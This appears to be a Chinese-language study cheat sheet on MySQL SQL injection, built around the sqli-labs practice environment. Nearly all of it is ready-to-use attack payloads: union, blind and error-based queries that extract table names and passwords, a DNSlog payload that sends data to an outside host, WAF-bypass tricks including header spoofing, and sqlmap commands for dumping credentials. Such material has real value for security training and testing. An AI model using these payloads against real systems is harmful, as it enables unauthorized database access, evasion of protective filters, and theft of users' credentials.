数据库结构
Access:
- 表名
- 列名
- 数据
- 列名
mysql、mssql、Oracle、MongoDB:
- 数据库名
- 表名
- 列名
- 数据
- 列名
- 表名
MYSQL注入
查询方式
select查询语句
在网站应用中进行数据显示查询操作。
查库:
SELECT schema_name FROM information_schema.schemata
查表:
SELECT table_name FROM information_schema.tables WHERE table_schema='security'
查列:
SELECT column_name FROM information_schema.columns WHERE table_name='users'
查字段:
SELECT username FROM security.users
insert插入语句
在网站应用中进行用户注册添加等操作。
INSERT INTO news(id,url,name) VALUES(2,'x','abc');
delete删除语句
后台管理里面删除文章删除用户等操作。
DELETE FROM news WHERE id=1;
update更新数据
会员或后台中心数据同步或缓存等操作。
UPDATE user SET pwd=123 WHERE id=2 and username='admin'
有回显注入
联合查询
查列数:order by 4
联合查询:union select 1,2,3,……
在有回显的数字替换成查询语句即可。
无回显盲注
布尔盲注
regexp、like、ascii、left、ord、mid
一般配合py脚本注入。
猜当前数据库名第一位字母:
'and left(database(),1)='s'--+
'and substr(database(),1,1)='s'--+
'and ascii(substr(database(),1,1))=115--+
猜第六个数据库名的第一个字母的ascii码:
'and ascii(substr((select schema_name from information_schema.schemata limit 5,1),1,1))=115--+
判断security库中的第四个表的数据的第一位的ascii码:
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))>11--+
判断表中字段:
'and ascii(substr((select column_name from information_schema.columns where table_name = 'security' limit 1,1),1,1))>10--+
'and ascii(substr((select username from security.users limit 0,1),1,1))>10--+
时间盲注
if、sleep
一般配合py脚本注入。
| payload | 解释 |
|---|---|
| ?id=1’ and if (ascii(substring(database(),1,1))=67,sleep(5),1)–+ | 通过ascii码来比较 |
| ?id=1’ and if (hex(substring(database(),1,1))=FF,sleep(5),1)–+ | 通过十六进制值来比较 |
| ?id=1’ and if (mid(database(),1,1)=’s’,sleep(5),1)–+ | 使用mid函数代替substr |
| ?id=1’ and if (substr(database(),1,1)=’s’,sleep(5),1)–+ | |
| ?id=1’ and if (left(database(),2)=’se’,sleep(5),1)–+ | 截取左边两个个字符 |
| ?id=1’ and if (right(database(),2)=’ty’,sleep(5),1)–+ | 截取右边两个字符 |
判断是否存在漏洞:’and sleep(5)–+
报错注入
页面无法显示数据库的信息,但是源码中有mysql输出错误的函数把mysql的错误回显到前端,也就是有报错内容的。
报错注入形式上一般是做两个嵌套的查询,里面的那个查询被称为子查询,执行顺序也是从子查询开始的,所以我们可以通过子查询查询我们想要的数据,然后在通过报错函数将我们查询到的数据带出,从而达到爆出想要查询的数据。
12种报错注入+万能语句 - 简书 (jianshu.com)
extractvalue
mysql版本号大于5.1.5
对XML文档进行查询的函数。
EXTRACTVALUE(XML_document,XPath_string):从XML_document中返回所包含查询值的XPath_string。
第二个参数XPath_String是报错的关键,XML文档中查找字符位置是用/xxx/xxx/xxx这种格式,如果我们写入非法格式的内容就会报错,并且返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
paylaod:
EXTRACTVALUE('anything',[查询语句])
使用concat()能使查询语句输出的更加完整。
extractvalue()报错一次只能回显出32位的数据,如果想要回显超过32位的数据,需要使用substr(), mid(), left(), right()之类的截断函数去截断数据分次输出。
爆数据库名:
'and extractvalue(1,concat(0x7e,(select database())))--+
爆表名:
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
爆列名:
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))--+
爆数据:
'and extractvalue(1,concat(0x7e,(select group_concat(password) from users)))--+
updatexml
mysql版本号大于5.1.5
更新XML文档的函数。
UPDATEXML(XML_document,XPath_string,new_value);
updatexml()的报错注入姿势和extractvalue()类似,也是第二个参数位置,输入非法字符,导致报错。
updatexml()和extractvalue()相同一次只能输出32位数据,要完整的输出数据只能使用截断函数进行截断分多次输出。
爆数据库名:
'and updatexml(1,concat(0x7e,(select database())),0x7e)--+
爆表名:
'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e)--+
爆列名:
'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users')),0x7e)--+
爆数据:
'and updatexml(1,concat(0x7e,(select group_concat(password)from users)),0x7e)--+
floor
Mysql报错注入之floor(rand(0)*2)报错原理探究 - FreeBuf网络安全行业门户
这里需要先了解几个函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by x 分组语句,按照查询结果分组
报错语句:
select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;
上面两句的含义是一模一样的,第二句只是把concat(database(),floor(rand(0)*2)) 当做了x。
floor(rand(0)*2)):rand()函数每次产生的数都不同,但是通过一个固定的随机数的种子0之后,rand(0)可以形成固定的伪随机序列。所以floor(rand(0)*2)就会产生固定的数列011011。group_by:通过group by进行分组排序,结果会进行分组,相同名字为合并。count(*):计数。
对于语句:
select count(*) from users group by (floor(rand(0)*2));
小tips:在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候floor(rand(0)*2)会再被执行一次
执行流程:floor(rand(0)*2))第一次计算是0,虚表没有,于是插入虚表,注意此时floor(rand(0)*2))又会计算一次(第二次计算),结果为1,所以插入虚表的值是1;然后floor(rand(0)*2))第三次计算结果是1,虚表里有,于是count直接加1;floor(rand(0)*2))第四次计算是0,虚表没有,于是插入虚表,此时floor(rand(0)*2))会再次计算(第五次计算)然后插入虚表,此时结果是1,但是虚表里已经有1了,所以导致了主键重复报错。
报错信息:ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
爆数据库名:
'and (select count(*) from users group by concat(database(),floor(rand(0)*2)))--+
爆表名:
'and (select count(*) from users group by concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)))--+
爆列名:
'and (select count(*) from users group by concat((select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand(0)*2)))--+
爆数据:
'and (select count(*) from users group by concat((select password from security.users limit 0,1),floor(rand(0)*2)))--+
二次注入
原理:攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。即输入恶意的数据库查询语句时会被转义,但在数据库调用读取语句时又被还原导致语句执行。
sqli-labs_Less24为例:
先注册一个名为admin'#的用户,然后登录改密码。
更改密码用的语句:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里username是admin'#,所以语句变成了:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
#后面的都被注释了。变成了更改admin的密码。
可以用更改后的密码登录admin,或者结合报错/盲注进行数据库注入。
dnslog注入
DNSlog注入学习 - Lushun - 博客园 (cnblogs.com)
paylaod:
select load_file(concat('\\\\',(select database()),'.xhmmod.ceye.io/abc'));
堆叠注入
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
;
基本函数参考
| 函数 | 解释 | payload |
|---|---|---|
| database() | 数据库名 | |
| user() | 用户名 | |
| version() | 数据库版本 | |
| @@version_compile_os | 操作系统 | |
| concat() | 没有分隔符的连接字符串 | concat(a,b) |
| concat_ws() | 含有分隔符的连接字符串 | concat_ws(‘:’,a,b) |
| group_concat() | 一行显示出来,并以逗号分隔每一条数据 | |
| left(a,b) | 从左侧截取a的前b位 | left(database(),1)=’s’ |
| right(a,b) | 从右侧截取a的前b位 | |
| regexp() | user()的结果是root,regexp为匹配root的正则表达式 | select user() regexp ‘r’ |
| substr(a,b,c) | 从b位置开始,截取a字符串的c长度 | |
| mid(a,b,c) | 从b位置开始,截取a字符串的c位 | |
| length() | 返回字符串的长度 | |
| ascii() | 将字符串转化为ascii值 | \ |
| like | 与regexp相似 | select user() like ‘ro%’ |
| load_file() | 读取本地文件 | select load_file(‘文件路径’) |
| into outfile | 写文件(注意//双写) | select ‘句子’ into outfile ‘文件路径及名称’ |
注释符使用
(GET提交方式):
– (后面有空格)
%23
payload结尾单引号闭合
(POST提交方式):
– (后面有空格)
#
payload结尾单引号闭合
异或注入
当 union,and 被完全过滤掉了,就可以考虑使用异或注入
异或运算规则:
==1^1=0 0^0=0 0^1=1==
1^ 1^1=0 1^ 1^0=0
==两真为假,两假为真==
xor 是逻辑上的异或操作;^ 是前后进行二进制层面的异或运算
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
WAF绕过
大小写
关键字重复(双写)
关键字替换
and–>&&or–>||like–>=<>–>!=fuzz大法
注释符绕过
/**/空格用这个替换/* 这里可以填写很多内容 */
内联注释:
/*!union select */里面的东西是可以正常运行的,mysql特性。特殊符号绕过
mysql 空白符: %09; %0A; %0B; %0D; %20; %0C; %A0; /* xxx */
正则空白符:%09; %0A; %0B; %0D; %20; %25就是百分号
union%23a%0aselect 1,2,3--+函数分割符号
concat/**/()concat%2520()浮点数法
1E0表示1*10^0加密解密
编码解码
等价函数替换
更改提交方式
mysql黑语法
select {x schema_name} from {x information_scheam.schemata};
select {x 1};
当开启了魔术函数==过滤了引号==时,可以在引号前加上一个汉字双字节编码,可以实现绕过。
例如构造Payload为:
username=%BF'%BF解码之后是中文乱码
用 ==/*!50000%53elect*/== 代替select实现绕过
select /*!50000%53elect*/ order /*!50000%6Frder*/ union /*!50000%75nion*/http参数污染,比如PHP/Apache的服务器get方式提交时存在多个相同的参数名,只有最后一个生效。(不同中间件规则不同)
例:?id=1/**&id=-1 union select 1,2,3#*/ip白名单,改
X-forwarded-for、X-remote-IP、X-originating-IP、X-remote-addr、X-Real-IP静态资源
http://127.0.0.1/index.php?id=1 and 1=1
http://127.0.0.1/index.php/x.txt?id=1 and 1=1 依然正常运行
http://127.0.0.1/index.php/admin.php?id=1 and 1=1 admin.php是在白名单里的没有拦截
爬虫白名单
当过滤了
information_schema时
可以用mysql.innodb_table_stats代替information_schemaInnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
1&&ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),1,1))=103
2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}.format()
工具
sqlmap、NoSQLAttack、Pangolin
Sqlmap使用:
一般:
python sqlmap.py -u "url"
加上脚本:
python sqlmap.py -u "url" --tamper=xxx.py
开代理(一般用于burp抓包分析):
python sqlmap.py -u "url" --proxy=http://127.0.0.1:8080
随机Agent头:
python sqlmap.py -u "url" --random-agent
指定爬虫Agent(百度):
python sqlmap.py -u "url" --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
加延迟:
python sqlmap.py -u "url" --delay 1
重写http头,可以借照post方式,直接以数据包形式扫。
python sqlmap.py -r 数据包文件
参数值存在编码情况,中转注入,在本地写一个:
<?php
$url='';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$url.$payload;
file_get_contents($urls);
echo $urls;
?>
sqlmap注入本地脚本地址—-》本地搭建脚本(请求数据自定义编写)访问远程地址
获取当前数据库
sqlmap -u 网址 –forms –batch –current-db
获取gkk库的表
sqlmap -u 网址 –forms –batch -D gkk –tables
获取user的列
sqlmap -u 网址 –forms –batch -D gkk -T user –columns
获取账号密码字段
sqlmap -u 网址 –forms –batch -D gkk -T user -C uname,pwd,vip –dump
参数:
–banner:指纹信息
–batch:使用非交互式扫描,SQLMap将不会询问
–dbs:获取数据库列表
–tables:获取所有的数据表
–columns:获取所有字段(列)
–dump:获取行数据
-D:指定数据库
-T:指定数据表
-C:指定字段,用逗号间隔
–user:当前用户
–current-db:当前数据库
–is-dba:是否为DBA(Database Administrator)
–form 制作表格